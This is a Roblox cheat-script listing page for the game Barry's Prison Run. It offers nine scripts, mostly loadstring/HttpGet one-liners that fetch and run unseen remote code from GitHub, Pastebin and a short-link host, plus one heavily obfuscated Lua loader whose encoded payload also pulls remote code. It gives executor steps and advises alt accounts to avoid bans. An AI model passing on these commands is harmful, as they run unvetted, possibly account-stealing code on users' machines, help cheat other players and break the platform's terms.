Roblox script

Barry’s Prison Run Script

Barry’s Prison Run is a cops and robbers game where staying on top comes down to reaction speed, good positioning, and knowing when to run. Getting caught or losing a chase against experienced players happens fast without the right tools. These scripts give you the edge with Auto Farm, Speed Hack, ESP, God Mode so every round goes the way you want it to.

Pastebin
9 scripts8 no keyTested October 2026
Barry’s Prison Run Script9 working scripts
What you get
8 no key1 key needed
Fastest start, no keyScript 1
loadstring(game:HttpGet("https://raw.githubusercontent.com/Rah-Md/ScriptBarryPrison/main/Loader.lua"))()

Barry’s Prison Run Scripts (Pastebin & More)

To run any of these scripts you will need a working Roblox executor. Check out the list at that link for free and paid options that work in 2026.

Script 1No key

Barry’s Prison Run Script Auto Win, Get All Tools, Walkspeed, Free Gamepasses

Barry’s Prison Run Script Auto Win, Get All Tools, Walkspeed, Free Gamepasses

Pastebin
loadstring(game:HttpGet("https://raw.githubusercontent.com/Rah-Md/ScriptBarryPrison/main/Loader.lua"))()
Script 2No key

Barry’s Prison Run Auto Win & Get All Tools Script

Barry’s Prison Run Auto Win & Get All Tools Script

Pastebin
loadstring(game:HttpGet(('https://shz.al/~XTScript')))()
Script 3No key

Barry’s Prison Run Get All Donuts Script:

Barry’s Prison Run Get All Donuts Script:

Pastebin
game:GetService("ReplicatedStorage").Events2024.AwardBadge:FireServer()
Script 4No key

Barry’s Prison Run Mobile Script

Barry’s Prison Run Mobile Script

Pastebin
loadstring(game:HttpGet("https://raw.githubusercontent.com/Hiklom/hikka/main/PRISON.lua"))()
Script 5No key

Barry’s Prison Run Script Pastebin2026 :

Barry’s Prison Run Script Pastebin2026 :

Pastebin
loadstring(game:HttpGet(('https://shz.al/~XTScript')))()
Script 6No key

Barry’s Prison Run Script 6:

Barry’s Prison Run Script Pastebin2026 :

Pastebin
loadstring(game:HttpGet("https://raw.githubusercontent.com/Balligusapos/Balligusapos/main/Letsreach7k"))()
Script 7No key

Barry’s Prison Run Script 7:

Barry’s Prison Run Script Pastebin2026 :

Pastebin
--[[
	Who uses these???
	Much Love, Ferib 
]]--

local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local v70=0;while true do if (v70==0) then v19=v0(v3(v30,1,1));return "";end end else local v71=0;local v72;while true do if (v71==0) then v72=v2(v0(v30,16));if v19 then local v98=v5(v72,v19);v19=nil;return v98;else return v72;end break;end end end end);local function v20(v31,v32,v33)if v33 then local v73=(v31/((5 -3)^(v32-((879 -(282 + 595)) -1))))%(2^(((v33-(1 -0)) -(v32-1)) + ((1639 -(1523 + 114)) -1))) ;return v73-(v73%((558 + 62) -(555 + 64))) ;else local v74=0;local v75;while true do if ((931 -(857 + 74))==v74) then v75=(570 -(367 + 201))^(v32-((1322 -394) -(214 + 713))) ;return (((v31%(v75 + v75))>=v75) and (1 + 0)) or (0 + 0) ;end end end end local function v21()local v34=v1(v16,v18,v18);v18=v18 + 1 ;return v34;end local function v22()local v35,v36=v1(v16,v18,v18 + (1067 -(68 + 997)) );v18=v18 + (1272 -(226 + 1044)) ;return (v36 * (1114 -858)) + v35 ;end local function v23()local v37,v38,v39,v40=v1(v16,v18,v18 + (120 -(32 + 85)) );v18=v18 + 4 + 0 ;return (v40 * (3720433 + (24134629 -11077846))) + (v39 * ((122069 -55576) -(892 + 65))) + (v38 * (610 -354)) + v37 ;end local function v24()local v41=350 -((525 -(145 + 293)) + 263) ;local v42;local v43;local v44;local v45;local v46;local v47;while true do if ((182 -(67 + 113))==v41) then v46=v20(v43,21,23 + 8 );v47=((v20(v43,78 -46 )==1) and  -(1 + (430 -(44 + 386)))) or (3 -2) ;v41=3;end if (v41==(955 -(802 + 150))) then if (v46==(0 -0)) then if (v45==(0 -0)) then return v47 * 0 ;else local v99=(1486 -(998 + 488)) + 0 ;while true do if (v99==(997 -(291 + 624 + 82))) then v46=(2 + 0) -1 ;v44=0 + (772 -(201 + 571)) ;break;end end end elseif (v46==((3829 -(116 + 1022)) -644)) then return ((v45==(1187 -(1069 + 118))) and (v47 * ((2 -1)/0))) or (v47 * NaN) ;end return v8(v47,v46-(2237 -(5054 -3840)) ) * (v44 + (v45/((1 + 1)^(92 -40)))) ;end if (v41==(0 + 0)) then v42=v23();v43=v23();v41=792 -(368 + 423) ;end if (v41==(3 -2)) then v44=19 -(10 + 8) ;v45=(v20(v43,(2 + 1) -(7 -5) ,462 -(416 + 26) ) * ((6 -4)^(14 + (63 -45)))) + v42 ;v41=3 -1 ;end end end local function v25(v48)local v49;if  not v48 then v48=v23();if (v48==(859 -(814 + 45))) then return "";end end v49=v3(v16,v18,(v18 + v48) -(2 -1) );v18=v18 + v48 ;local v50={};for v68=1 + 0 , #v49 do v50[v68]=v2(v1(v3(v49,v68,v68)));end return v6(v50);end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v51=0 -0 ;local v52;local v53;local v54;local v55;local v56;local v57;local v58;local v59;local v60;while true do if (v51==2) then v56=nil;v57=nil;v51=606 -(268 + 335) ;end if (v51==4) then v60=nil;while true do if (v52==(291 -(60 + 230))) then v55=nil;v56=nil;v52=574 -(426 + 146) ;end if (v52==3) then local v95=0;while true do if (v95==1) then v52=1 + 3 ;break;end if (v95==0) then v59=nil;v60=nil;v95=1457 -(282 + 1174) ;end end end if ((811 -(569 + 242))==v52) then local v96=0 -0 ;while true do if (v96==1) then v52=1;break;end if (v96~=0) then else v53=0;v54=nil;v96=1;end end end if (v52==(1 + 3)) then while true do if (v53~=(1024 -(706 + 318))) then else local v106=1251 -(721 + 530) ;local v107;while true do if (v106~=(1271 -(945 + 326))) then else v107=0 -0 ;while true do if (1==v107) then v53=1 + 0 ;break;end if (v107==0) then v54=700 -(271 + 429) ;v55=nil;v107=1;end end break;end end end if (v53==2) then local v108=0;while true do if (0==v108) then v58=nil;v59=nil;v108=1;end if (v108==(1 + 0)) then v53=1503 -(1408 + 92) ;break;end end end if (v53==(1089 -(461 + 625))) then v60=nil;while true do local v111=0;local v112;local v113;while true do if (v111==(1289 -(993 + 295))) then while true do if ((0 + 0)==v112) then v113=0;while true do if (v113~=0) then else local v153=1171 -(418 + 753) ;while true do if (v153~=0) then else if (v54~=1) then else local v161=0 + 0 ;while true do if (v161==(0 + 0)) then local v164=0 + 0 ;while true do if (v164==(1 + 0)) then v161=1;break;end if (0==v164) then local v171=529 -(406 + 123) ;while true do if (v171==(1769 -(1749 + 20))) then v58={v55,v56,nil,v57};v59=v23();v171=1 + 0 ;end if (1==v171) then v164=1;break;end end end end end if (v161==1) then v60={};v54=1147 -(466 + 679) ;break;end end end if (v54==(0 -0)) then local v162=0 -0 ;local v163;while true do if (v162~=0) then else v163=1900 -(106 + 1794) ;while true do if (v163==(1 + 0)) then v57={};v54=1 + 0 ;break;end if ((0 -0)~=v163) then else local v172=0;while true do if (v172==1) then v163=2 -1 ;break;end if ((114 -(4 + 110))~=v172) then else v55={};v56={};v172=1;end end end end break;end end end v153=585 -(57 + 527) ;end if (v153==(1428 -(41 + 1386))) then v113=104 -(17 + 86) ;break;end end end if (v113==(1 + 0)) then if (v54==3) then local v154=0 -0 ;local v155;local v156;while true do if (v154==1) then while true do if (0==v155) then v156=0 -0 ;while true do if (v156==(166 -(122 + 44))) then for v173=1 -0 ,v23() do v56[v173-1 ]=v28();end return v58;end end break;end end break;end if (v154==(0 -0)) then v155=0;v156=nil;v154=1;end end end if (v54~=(2 + 0)) then else local v157=0;local v158;while true do if (v157~=0) then else v158=0 + 0 ;while true do if (v158==(1 -0)) then for v167=1,v23() do local v168=65 -(30 + 35) ;local v169;local v170;while true do if (v168==0) then v169=0;v170=nil;v168=1;end if ((1 + 0)==v168) then while true do if ((1257 -(1043 + 214))==v169) then v170=v21();if (v20(v170,3 -2 ,1213 -(323 + 889) )~=(0 -0)) then else local v181=0;local v182;local v183;local v184;local v185;while true do if (v181~=(582 -(361 + 219))) then else while true do if (v182==1) then v185={v22(),v22(),nil,nil};if (v183==(0 + 0)) then local v190=413 -(15 + 398) ;local v191;local v192;while true do if (1==v190) then while true do if (0==v191) then v192=982 -(18 + 964) ;while true do if (v192~=0) then else v185[11 -8 ]=v22();v185[4]=v22();break;end end break;end end break;end if (v190~=(0 + 0)) then else v191=0;v192=nil;v190=1 + 0 ;end end elseif (v183==(851 -(20 + 830))) then v185[3 + 0 ]=v23();elseif (v183==2) then v185[129 -(116 + 10) ]=v23() -((1 + 1)^16) ;elseif (v183==3) then local v202=738 -(542 + 196) ;local v203;local v204;local v205;while true do if (v202==0) then v203=0;v204=nil;v202=1;end if (v202==(1 -0)) then v205=nil;while true do if (v203~=0) then else v204=0 + 0 ;v205=nil;v203=1 + 0 ;end if (1==v203) then while true do if (v204==0) then v205=0 + 0 ;while true do if (v205==(0 -0)) then v185[3]=v23() -(2^(40 -24)) ;v185[4]=v22();break;end end break;end end break;end end break;end end end v182=2;end if (v182~=3) then else if (v20(v184,3,1554 -(1126 + 425) )==(406 -(118 + 287))) then v185[4]=v60[v185[15 -11 ]];end v55[v167]=v185;break;end if (v182~=2) then else if (v20(v184,1,1)==(1122 -(118 + 1003))) then v185[5 -3 ]=v60[v185[379 -(142 + 235) ]];end if (v20(v184,9 -7 ,2)~=(1 + 0)) then else v185[980 -(553 + 424) ]=v60[v185[5 -2 ]];end v182=3;end if (0==v182) then local v189=0;while true do if (v189==(1 + 0)) then v182=1 + 0 ;break;end if (v189~=(0 + 0)) then else local v199=0 + 0 ;while true do if (v199==(1 + 0)) then v189=1;break;end if (v199==(0 -0)) then v183=v20(v170,5 -3 ,3);v184=v20(v170,8 -4 ,6);v199=1 + 0 ;end end end end end end break;end if (v181==0) then v182=0;v183=nil;v181=1;end if (v181==1) then v184=nil;v185=nil;v181=2;end end end break;end end break;end end end v54=14 -11 ;break;end if (v158~=(753 -(239 + 514))) then else local v165=0;local v166;while true do if (v165~=(0 + 0)) then else v166=0;while true do if (v166~=0) then else for v176=1,v59 do local v177=0;local v178;local v179;local v180;while true do if ((1330 -(797 + 532))==v177) then v180=nil;while true do if (v178~=1) then else if (v179==(1 + 0)) then v180=v21()~=0 ;elseif (v179==(1 + 1)) then v180=v24();elseif (v179~=(6 -3)) then else v180=v25();end v60[v176]=v180;break;end if (v178==(1202 -(373 + 829))) then local v187=731 -(476 + 255) ;while true do if (v187~=(1130 -(369 + 761))) then else v179=v21();v180=nil;v187=1 + 0 ;end if ((1 -0)==v187) then v178=1;break;end end end end break;end if (v177==(0 -0)) then v178=0;v179=nil;v177=239 -(64 + 174) ;end end end v58[1 + 2 ]=v21();v166=1 -0 ;end if (v166~=(337 -(144 + 192))) then else v158=217 -(42 + 174) ;break;end end break;end end end end break;end end end break;end end break;end end break;end if (v111==0) then v112=0 + 0 ;v113=nil;v111=1;end end end break;end if (v53==(1 + 0)) then local v109=0 + 0 ;local v110;while true do if (v109==(1504 -(363 + 1141))) then v110=0;while true do if (v110~=1) then else v53=2;break;end if (v110==(1580 -(1183 + 397))) then v56=nil;v57=nil;v110=1;end end break;end end end end break;end if (v52==2) then local v97=0;while true do if ((0 -0)==v97) then v57=nil;v58=nil;v97=1 + 0 ;end if (v97~=1) then else v52=3;break;end end end end break;end if (v51~=0) then else v52=0 + 0 ;v53=nil;v51=1;end if (v51~=(1978 -(1913 + 62))) then else v58=nil;v59=nil;v51=4;end if (v51==(1 + 0)) then v54=nil;v55=nil;v51=2;end end end local function v29(v61,v62,v63)local v64=0;local v65;local v66;local v67;while true do if (v64==1) then v67=v61[3];return function(...)local v79=v65;local v80=v66;local v81=v67;local v82=v27;local v83=1;local v84= -1;local v85={};local v86={...};local v87=v12("#",...) -1 ;local v88={};local v89={};for v93=0,v87 do if (v93>=v81) then v85[v93-v81 ]=v86[v93 + 1 ];else v89[v93]=v86[v93 + 1 ];end end local v90=(v87-v81) + 1 ;local v91;local v92;while true do local v94=0;while true do if (v94==1) then if (v92<=3) then if (v92<=1) then if (v92==0) then local v114=v91[2];local v115=v89[v91[3]];v89[v114 + 1 ]=v115;v89[v114]=v115[v91[4]];else v89[v91[2]]=v63[v91[3]];end elseif (v92==2) then local v121=0;local v122;local v123;local v124;local v125;while true do if (v121==2) then for v149=v122,v84 do local v150=0;while true do if (v150==0) then v125=v125 + 1 ;v89[v149]=v123[v125];break;end end end break;end if (v121==0) then v122=v91[2];v123,v124=v82(v89[v122](v13(v89,v122 + 1 ,v91[3])));v121=1;end if (v121==1) then v84=(v124 + v122) -1 ;v125=0;v121=2;end end else do return;end end elseif (v92<=5) then if (v92>4) then local v126=0;local v127;while true do if (v126==0) then v127=v91[2];v89[v127]=v89[v127](v13(v89,v127 + 1 ,v84));break;end end else v89[v91[2]]=v91[3];end elseif (v92>6) then v89[v91[2]]();else local v130;local v131,v132;local v133;local v134;v89[v91[2]]=v63[v91[3]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v63[v91[3]];v83=v83 + 1 ;v91=v79[v83];v134=v91[2];v133=v89[v91[3]];v89[v134 + 1 ]=v133;v89[v134]=v133[v91[4]];v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]=v91[3];v83=v83 + 1 ;v91=v79[v83];v134=v91[2];v131,v132=v82(v89[v134](v13(v89,v134 + 1 ,v91[3])));v84=(v132 + v134) -1 ;v130=0;for v144=v134,v84 do local v145=0;while true do if (v145==0) then v130=v130 + 1 ;v89[v144]=v131[v130];break;end end end v83=v83 + 1 ;v91=v79[v83];v134=v91[2];v89[v134]=v89[v134](v13(v89,v134 + 1 ,v84));v83=v83 + 1 ;v91=v79[v83];v89[v91[2]]();v83=v83 + 1 ;v91=v79[v83];do return;end end v83=v83 + 1 ;break;end if (v94==0) then v91=v79[v83];v92=v91[1];v94=1;end end end end;end if (v64==0) then v65=v61[1];v66=v61[2];v64=1;end end end return v29(v28(),{},v17)(...);end v15("LOL!043O00030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574034C3O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F6469676C742F536C6F702D466F722D52736372697074732F6D61696E2F42612O7279732532304F2O627900083O0012063O00013O00122O000100023O00202O00010001000300122O000300046O000100039O0000026O000100016O00017O00",v9(),...);
Script 8No key

Barry’s Prison Run Barry ESP and Auto Win Pastebin Script:

Barry ESP, auto win, speed

Barry ESPPlayer ESPAuto WinInfinite Jump
loadstring(game:HttpGet("https://pastebin.com/raw/YaX20Ffy"))()
Script 9Key needed

Barry’s Prison Run KiloEX Auto Win Script:

Auto win, needs a key

Auto WinSpeed
loadstring(game:HttpGet("https://raw.githubusercontent.com/Hiklom/hikka/main/barrys.lua"))()

Want badges the fair way? Our Barry's Prison Run badges guide shows how to get all 16, and why the CopCoin Badge has only 16 owners.

7 steps

How to Use the Barry’s Prison Run Script

Copy a script from the list above first, then follow these in order.

  1. 01

    Get a working executor – see our Roblox Executor list for free options on PC, Mobile, and Mac.

  2. 02

    Launch Roblox and open Barry’s Prison Run.

  3. 03

    Open your executor, then click Inject or Attach.

  4. 04

    Copy any script above and paste it into the executor script box.

  5. 05

    Press Execute - the GUI will appear in-game.

  6. 06

    Toggle Auto Farm, Speed Hack, ESP and other features from the GUI menu.

  7. 07

    Always use an alt account to protect your main.

Barry’s Prison Run Script

About The Barry’s Prison Run Script

Barry’s Prison Run is a cops and robbers game where the rounds are fast and the outcome usually comes down to who reacts faster and knows the map better. New players get caught or outrun constantly until they build up enough experience to compete.

These scripts close that gap fast with ESP and speed tools that let you see where everyone is and move quicker than players going in without any advantage. Most of the options in the list are keyless and load immediately.

Use an alt account to run these safely and keep your main protected. Check back here after updates since movement and detection mechanics can change between patches.

Disclaimer

All scripts on this page are for educational purposes only. Using scripts in Roblox violates the Roblox Terms of Service and may result in your account being permanently banned or suspended without warning. RobloxDatabase.com is not responsible for any consequences from using these scripts. Always use an alt account - never your main.

More For Barry’s Prison Run

Keep exploring

More free stuff for your Roblox account.